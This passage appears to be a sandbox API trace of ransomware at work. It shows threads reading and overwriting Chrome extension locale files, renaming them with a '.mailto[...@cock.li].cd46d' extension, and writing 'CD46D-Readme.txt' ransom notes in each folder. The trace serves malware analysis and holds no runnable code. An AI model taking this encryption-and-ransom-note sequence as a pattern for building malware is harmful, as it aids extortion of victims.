wcscpy (in: _Dest=0xd4a6868, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\" [0201.994] wcscat (in: _Dest=0xd4a6868, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\CD46D-Readme.txt" [0201.994] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\cd46d-readme.txt")) returned 0xffffffff [0201.994] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19f8 [0202.004] WriteFile (in: hFile=0x19f8, lpBuffer=0x8e9fe8*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0x296f808, lpOverlapped=0x0 | out: lpBuffer=0x8e9fe8*, lpNumberOfBytesWritten=0x296f808*=0x6fd, lpOverlapped=0x0) returned 1 [0202.014] CloseHandle (hObject=0x19f8) returned 1 [0202.024] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4a6868) returned 1 [0202.024] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9a2d08) returned 1 Thread: id = 8462 os_tid = 0x1b64 [0194.256] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\messages.json")) returned 0x2020 [0194.837] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\messages.json", dwFileAttributes=0x20) returned 1 [0199.427] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe2c [0199.427] GetFileSizeEx (in: hFile=0xe2c, lpFileSize=0x34ef8c8 | out: lpFileSize=0x34ef8c8*=254) returned 1 [0199.427] SetFilePointerEx (in: hFile=0xe2c, liDistanceToMove=0xfa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.428] ReadFile (in: hFile=0xe2c, lpBuffer=0x34ef84c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x34ef848, lpOverlapped=0x0 | out: lpBuffer=0x34ef84c*, lpNumberOfBytesRead=0x34ef848*=0x4, lpOverlapped=0x0) returned 1 [0199.428] SetFilePointerEx (in: hFile=0xe2c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.428] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e9cb0 [0199.428] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e9a30 [0199.429] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e9a08 [0199.429] NtQuerySystemTime (in: CurrentTime=0x34ef828 | out: CurrentTime=0x34ef828*=132174899740318000) returned 0x0 [0199.429] RtlRandomEx (in: Seed=0x34ef834 | out: Seed=0x34ef834) returned 0x402e755f [0199.429] RtlRandomEx (in: Seed=0x34ef834 | out: Seed=0x34ef834) returned 0x221a4bb [0199.429] RtlRandomEx (in: Seed=0x34ef834 | out: Seed=0x34ef834) returned 0x390c7292 [0199.429] RtlRandomEx (in: Seed=0x34ef834 | out: Seed=0x34ef834) returned 0x63e3d3bb [0199.429] RtlRandomEx (in: Seed=0x34ef834 | out: Seed=0x34ef834) returned 0x6dcf4093 [0199.429] RtlRandomEx (in: Seed=0x34ef834 | out: Seed=0x34ef834) returned 0x75b7b0ed [0199.429] RtlRandomEx (in: Seed=0x34ef834 | out: Seed=0x34ef834) returned 0x40e44525 [0199.429] RtlRandomEx (in: Seed=0x34ef834 | out: Seed=0x34ef834) returned 0x4ac2cf [0199.429] RtlRandomEx (in: Seed=0x34ef834 | out: Seed=0x34ef834) returned 0x796c97ed [0199.429] RtlRandomEx (in: Seed=0x34ef834 | out: Seed=0x34ef834) returned 0x2c3a7439 [0199.429] RtlRandomEx (in: Seed=0x34ef834 | out: Seed=0x34ef834) returned 0x66888fa8 [0199.429] RtlRandomEx (in: Seed=0x34ef834 | out: Seed=0x34ef834) returned 0x64ae25d8 [0199.429] RtlRandomEx (in: Seed=0x34ef834 | out: Seed=0x34ef834) returned 0x5d6db795 [0199.429] RtlRandomEx (in: Seed=0x34ef834 | out: Seed=0x34ef834) returned 0x39c14f49 [0199.429] RtlRandomEx (in: Seed=0x34ef834 | out: Seed=0x34ef834) returned 0x7b39e737 [0199.429] RtlRandomEx (in: Seed=0x34ef834 | out: Seed=0x34ef834) returned 0x14816d03 [0199.429] RtlRandomEx (in: Seed=0x34ef834 | out: Seed=0x34ef834) returned 0x1f5d089e [0199.429] RtlRandomEx (in: Seed=0x34ef834 | out: Seed=0x34ef834) returned 0x7d1ff177 [0199.429] RtlRandomEx (in: Seed=0x34ef834 | out: Seed=0x34ef834) returned 0x426263d5 [0199.429] RtlRandomEx (in: Seed=0x34ef834 | out: Seed=0x34ef834) returned 0x1d040461 [0199.429] RtlRandomEx (in: Seed=0x34ef834 | out: Seed=0x34ef834) returned 0x447a4a98 [0199.429] RtlRandomEx (in: Seed=0x34ef834 | out: Seed=0x34ef834) returned 0x2ac66d09 [0199.429] RtlRandomEx (in: Seed=0x34ef834 | out: Seed=0x34ef834) returned 0x5514fac0 [0199.429] RtlRandomEx (in: Seed=0x34ef834 | out: Seed=0x34ef834) returned 0x44352f8a [0199.429] RtlRandomEx (in: Seed=0x34ef834 | out: Seed=0x34ef834) returned 0x79bbb67 [0199.429] RtlRandomEx (in: Seed=0x34ef834 | out: Seed=0x34ef834) returned 0x6c57fda4 [0199.429] RtlRandomEx (in: Seed=0x34ef834 | out: Seed=0x34ef834) returned 0x7b50b0ea [0199.429] RtlRandomEx (in: Seed=0x34ef834 | out: Seed=0x34ef834) returned 0x7f62cdc5 [0199.429] RtlRandomEx (in: Seed=0x34ef834 | out: Seed=0x34ef834) returned 0x15387af5 [0199.430] RtlRandomEx (in: Seed=0x34ef834 | out: Seed=0x34ef834) returned 0x7d1ff177 [0199.430] RtlRandomEx (in: Seed=0x34ef834 | out: Seed=0x34ef834) returned 0x18a85cf2 [0199.430] RtlRandomEx (in: Seed=0x34ef834 | out: Seed=0x34ef834) returned 0x20e78774 [0199.442] ReadFile (in: hFile=0xe2c, lpBuffer=0x10e42008, nNumberOfBytesToRead=0xfe, lpNumberOfBytesRead=0x34ef824, lpOverlapped=0x0 | out: lpBuffer=0x10e42008*, lpNumberOfBytesRead=0x34ef824*=0xfe, lpOverlapped=0x0) returned 1 [0199.443] SetFilePointerEx (in: hFile=0xe2c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.443] WriteFile (in: hFile=0xe2c, lpBuffer=0x10e4e810*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x34ef820, lpOverlapped=0x0 | out: lpBuffer=0x10e4e810*, lpNumberOfBytesWritten=0x34ef820*=0xfe, lpOverlapped=0x0) returned 1 [0201.089] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c5a30 [0201.089] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c5f08 [0201.090] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5f08) returned 1 [0201.090] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x10e4e810) returned 1 [0201.090] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x10e42008) returned 1 [0201.090] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fae48) returned 1 [0201.090] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2c50) returned 1 [0201.090] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x938090 [0201.090] SetFilePointerEx (in: hFile=0xe2c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.090] WriteFile (in: hFile=0xe2c, lpBuffer=0x12cf53d8*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x34ef888, lpOverlapped=0x0 | out: lpBuffer=0x12cf53d8*, lpNumberOfBytesWritten=0x34ef888*=0x10b, lpOverlapped=0x0) returned 1 [0201.756] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf53d8) returned 1 [0201.756] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9380c0) returned 1 [0201.756] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5f08) returned 1 [0201.756] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938090) returned 1 [0201.756] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5a30) returned 1 [0201.756] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9a30) returned 1 [0201.756] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9d50) returned 1 [0201.756] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e98f0) returned 1 [0201.756] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x178) returned 0x9440d8 [0201.756] wcscpy (in: _Dest=0x9440d8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\messages.json" [0201.756] wcscat (in: _Dest=0x9440d8, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0201.756] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x34ef840, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0201.756] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18e) returned 0xd4c8878 [0201.957] FlushFileBuffers (hFile=0xe2c) returned 1 [0201.963] CloseHandle (hObject=0xe2c) returned 1 [0201.998] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x138) returned 0xd4a6c40 [0201.998] wcscpy (in: _Dest=0xd4a6c40, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\" [0201.998] wcscat (in: _Dest=0xd4a6c40, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\CD46D-Readme.txt" [0201.998] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\cd46d-readme.txt")) returned 0xffffffff [0201.998] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17fc [0202.005] WriteFile (in: hFile=0x17fc, lpBuffer=0x8e9fe8*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0x34ef848, lpOverlapped=0x0 | out: lpBuffer=0x8e9fe8*, lpNumberOfBytesWritten=0x34ef848*=0x6fd, lpOverlapped=0x0) returned 1 [0202.018] CloseHandle (hObject=0x17fc) returned 1 [0202.026] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4a6c40) returned 1 [0202.026] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9a4568) returned 1 Thread: id = 8463 os_tid = 0xd38 [0194.256] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\messages.json")) returned 0x2020 [0194.837] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\messages.json", dwFileAttributes=0x20) returned 1 [0199.457] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1898 [0199.457] GetFileSizeEx (in: hFile=0x1898, lpFileSize=0x3acfe10 | out: lpFileSize=0x3acfe10*=219) returned 1 [0199.457] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e9cb0 [0199.457] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e9a08 [0199.457] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e9aa8 [0199.457] NtQuerySystemTime (in: CurrentTime=0x3acfd70 | out: CurrentTime=0x3acfd70*=132174899740474000) returned 0x0 [0199.457] RtlRandomEx (in: Seed=0x3acfd7c | out: Seed=0x3acfd7c) returned 0x2507731f [0199.457] RtlRandomEx (in: Seed=0x3acfd7c | out: Seed=0x3acfd7c) returned 0x6ff32320 [0199.457] RtlRandomEx (in: Seed=0x3acfd7c | out: Seed=0x3acfd7c) returned 0x55edbdd4 [0199.458] RtlRandomEx (in: Seed=0x3acfd7c | out: Seed=0x3acfd7c) returned 0x33c10554 [0199.458] RtlRandomEx (in: Seed=0x3acfd7c | out: Seed=0x3acfd7c) returned 0x54538f3e [0199.458] RtlRandomEx (in: Seed=0x3acfd7c | out: Seed=0x3acfd7c) returned 0x55993a40 [0199.458] RtlRandomEx (in: Seed=0x3acfd7c | out: Seed=0x3acfd7c) returned 0x442976bc [0199.458] RtlRandomEx (in: Seed=0x3acfd7c | out: Seed=0x3acfd7c) returned 0x1da8833b [0199.458] RtlRandomEx (in: Seed=0x3acfd7c | out: Seed=0x3acfd7c) returned 0x10b2eecd [0199.458] RtlRandomEx (in: Seed=0x3acfd7c | out: Seed=0x3acfd7c) returned 0x71b4f8a9 [0199.458] RtlRandomEx (in: Seed=0x3acfd7c | out: Seed=0x3acfd7c) returned 0x6aed4b7d [0199.458] RtlRandomEx (in: Seed=0x3acfd7c | out: Seed=0x3acfd7c) returned 0x6c57fda4 [0199.458] RtlRandomEx (in: Seed=0x3acfd7c | out: Seed=0x3acfd7c) returned 0x70686c99 [0199.458] RtlRandomEx (in: Seed=0x3acfd7c | out: Seed=0x3acfd7c) returned 0x68bf8b50 [0199.458] RtlRandomEx (in: Seed=0x3acfd7c | out: Seed=0x3acfd7c) returned 0x39e2d439 [0199.458] RtlRandomEx (in: Seed=0x3acfd7c | out: Seed=0x3acfd7c) returned 0x4b7564a3 [0199.458] RtlRandomEx (in: Seed=0x3acfd7c | out: Seed=0x3acfd7c) returned 0x6aed4b7d [0199.458] RtlRandomEx (in: Seed=0x3acfd7c | out: Seed=0x3acfd7c) returned 0x2119326b [0199.458] RtlRandomEx (in: Seed=0x3acfd7c | out: Seed=0x3acfd7c) returned 0x304637d4 [0199.458] RtlRandomEx (in: Seed=0x3acfd7c | out: Seed=0x3acfd7c) returned 0x59121aac [0199.458] RtlRandomEx (in: Seed=0x3acfd7c | out: Seed=0x3acfd7c) returned 0x67bd997e [0199.458] RtlRandomEx (in: Seed=0x3acfd7c | out: Seed=0x3acfd7c) returned 0x33c10554 [0199.458] RtlRandomEx (in: Seed=0x3acfd7c | out: Seed=0x3acfd7c) returned 0x6f2cf137 [0199.458] RtlRandomEx (in: Seed=0x3acfd7c | out: Seed=0x3acfd7c) returned 0x6e0d13b9 [0199.458] RtlRandomEx (in: Seed=0x3acfd7c | out: Seed=0x3acfd7c) returned 0x3a0f42e7 [0199.458] RtlRandomEx (in: Seed=0x3acfd7c | out: Seed=0x3acfd7c) returned 0x1f5d089e [0199.458] RtlRandomEx (in: Seed=0x3acfd7c | out: Seed=0x3acfd7c) returned 0x1f13389c [0199.458] RtlRandomEx (in: Seed=0x3acfd7c | out: Seed=0x3acfd7c) returned 0x34e14eb1 [0199.458] RtlRandomEx (in: Seed=0x3acfd7c | out: Seed=0x3acfd7c) returned 0x3f023a9c [0199.458] RtlRandomEx (in: Seed=0x3acfd7c | out: Seed=0x3acfd7c) returned 0x38ba422 [0199.458] RtlRandomEx (in: Seed=0x3acfd7c | out: Seed=0x3acfd7c) returned 0x23b3bf24 [0199.458] RtlRandomEx (in: Seed=0x3acfd7c | out: Seed=0x3acfd7c) returned 0x38ec49e3 [0199.470] ReadFile (in: hFile=0x1898, lpBuffer=0x10e5b018, nNumberOfBytesToRead=0xdb, lpNumberOfBytesRead=0x3acfd6c, lpOverlapped=0x0 | out: lpBuffer=0x10e5b018*, lpNumberOfBytesRead=0x3acfd6c*=0xdb, lpOverlapped=0x0) returned 1 [0199.471] SetFilePointerEx (in: hFile=0x1898, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.471] WriteFile (in: hFile=0x1898, lpBuffer=0x10e67820*, nNumberOfBytesToWrite=0xdb, lpNumberOfBytesWritten=0x3acfd68, lpOverlapped=0x0 | out: lpBuffer=0x10e67820*, lpNumberOfBytesWritten=0x3acfd68*=0xdb, lpOverlapped=0x0) returned 1 [0201.090] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c5c60 [0201.090] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c5aa8 [0201.090] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5aa8) returned 1 [0201.090] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x10e67820) returned 1 [0201.090] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x10e5b018) returned 1 [0201.090] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fb6b8) returned 1 [0201.090] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2bc0) returned 1 [0201.090] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x9380f0 [0201.091] SetFilePointerEx (in: hFile=0x1898, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.091] WriteFile (in: hFile=0x1898, lpBuffer=0x12cf4f78*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x3acfdd0, lpOverlapped=0x0 | out: lpBuffer=0x12cf4f78*, lpNumberOfBytesWritten=0x3acfdd0*=0x10b, lpOverlapped=0x0) returned 1 [0201.758] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf4f78) returned 1 [0201.758] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938120) returned 1 [0201.758] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5aa8) returned 1 [0201.758] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9380f0) returned 1 [0201.758] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5c60) returned 1 [0201.758] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9a08) returned 1 [0201.758] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9d00) returned 1 [0201.758] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9b70) returned 1 [0201.758] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x178) returned 0x944260 [0201.758] wcscpy (in: _Dest=0x944260, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\messages.json" [0201.758] wcscat (in: _Dest=0x944260, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0201.758] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x3acfd88, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0201.758] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18e) returned 0xd4c93a0 [0201.962] FlushFileBuffers (hFile=0x1898) returned 1 [0201.968] CloseHandle (hObject=0x1898) returned 1 [0202.000] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x138) returned 0xd4a6ed0 [0202.000] wcscpy (in: _Dest=0xd4a6ed0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 